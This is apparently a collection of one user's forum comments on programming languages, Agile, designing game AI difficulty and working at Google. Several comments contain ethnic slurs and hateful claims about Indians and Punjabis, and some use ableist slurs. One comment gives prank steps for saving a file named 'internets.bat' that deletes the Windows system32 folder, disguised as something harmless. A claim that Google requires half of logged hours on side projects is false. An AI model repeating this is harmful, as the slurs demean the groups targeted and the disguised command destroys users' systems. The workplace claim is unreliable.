Not a single mention of Indians in that article, and everyone pictured is obviously east Asian, not Pajeet.

Lel. Y'all had like 600 years to remove kebab before England had even touched India.

Punjabi muds have been raping their way further and further into Rajastan since Islam's inception.

don't want to hire people that knows about HTTPS

I was applying to work for a bank

What. The. Fuck.

• Open Notepad

• Type the following

@echo off del c:\\WINDOWS\system32

• Save as 'internets.bat' (select 'all files' instead of 'text document')
• Double click the .bat file

C#

Lol.

Agile was designed so that you can keep going after firing your 12th worthless H1B douchenozzle. Nothing else.

I really dont like JS though.

Does anyone?

Nicely done, you Dutch bastards.

How can you not like SQL?

You tell the database what you want, and then it gives it to you.

If you're having to do super complex, multi-nested queries, the person who designed the tables for that DB is a retard.

Fortran.

Also, anyone who hates OOP is a backwards-ass retard who's stuck in 1993.

There's a difference between being a programmer and being a software developer. The people who know how to do anything besides code will always be in demand in order to tell the brainless "pseudocode translator"-type programmers what to do.

First, you need to identify what kind of game AI it is. In my experience, there are 3 types.

1. Little Miss Perfect: This type of AI is challenging because its computer brain can do things that the player's human brain cannot. Its reflexes are better than a person's, its aim is better than a person's, and it can think further ahead than a person. Think Deep Blue - it beat Kasparov because it built enormous what-if trees for every possible move, then just picked the best choice every time. Little Miss Perfects don't fuck up inputs or get distracted.

2. Mr. Cheating Bastard: This type of AI is challenging because it doesn't have to play by the same rules as the player. It has access to information that the player doesn't and is given a handicap. Civilization is notorious for this type of AI - upgrading the difficulty doesn't make the AI better, it just makes them cheat more. Mr. Cheating Bastard wallhacks and maphacks, and always seems to have more health/ammo/money/etc than you do.

3. The Improviser: This type of AI is challenging because it figures out your favorite tactics, then refuses to let you use them. In Metal Gear Solid V, once the enemy knows your playstyle, it will begin to equip soldiers with gear that punishes that playstyle.

Each type is made more/less difficult in a different way. Have some type of setDifficulty method that determines how often Little Miss Perfects make mistakes, how much Mr. Cheating Bastards are allowed to break the rules, and how frequently an Improviser is allowed to adapt.

C++. Anyone who dislikes OO programming is stuck in 1994.

Java's the sedan in my previous analogy.

Learn to drive in a sedan, not an F-22

Java. The compiler is a lot more specific than most other languages, which makes it easier to find beginner's bugs. Also, Java's documentation is really thorough and easy (relatively) to read through. Once you get the hang of reading them, stepping yourself through tougher and more complex stuff gets much easier.

I love that people are finally standing up and admitting that Agile sucks just as much as most other processes.

I know that I won't be popular

Actually, it seems a lot of devs are finally willing to admit that Agile has just as many problems as any other development process, but they were scared to speak up before now because management treats it like the cure to all that ails the world of software.

I don't see what's 'correct' about shitting out a barely-functioning prototype every two weeks because somehow that's better than making sure your core functionality is rock solid first.

"Software is different! A civil engineer can't just build a bridge then fix it if it falls apart."

Yeah, and I bet they make sure the foundation is fucking perfect before they do anything else, huh?

Radical Truthstorming Sessions?

Took fucking long enough for devs to admit that scrum/agile are shit processes.

Google has one of the highest turnover rates of any major company. Seems weird, right? With all their sweet benefits?

Laundry service, nap pods, good health insurance, 24/7 cafeterias, on-campus housing...

That and 50% of logged hours must be spent on side projects, meaning when it gets down to crunch time and you need to put 50 hours a week into your project, you have to put in 50 more hours that week on side projects. Don't, and get reprimanded/written up.

Huh. Those all sound like things designed to make you work more hours for no extra money.

Talk to people who've worked at Google. Mental breakdowns galore. People crying in their cubicles/nap pods. Everyone is paid less than they deserve, because you have to be overqualified to even be considered for a job at Google. Everyone's a ladder-climbing, territorial brownnoser. Projects get cancelled for no reason. Managerial jobs are given to people who don't want them or know how to do them. Google criminally overpromises during the hiring process.

It's become the number one company for people with a "I'll work there for 2 years, then I'll be able to say I worked at Google, so I can get the job I really want somewhere else" attitude.

Feels pretty good to know that I'm not alone in feeling that way. As upperclassmen, all my classmates started seeming more confident with their programming ability, while I never really made it out of the mindset where I feel like I don't know enough and was just kinda winging it.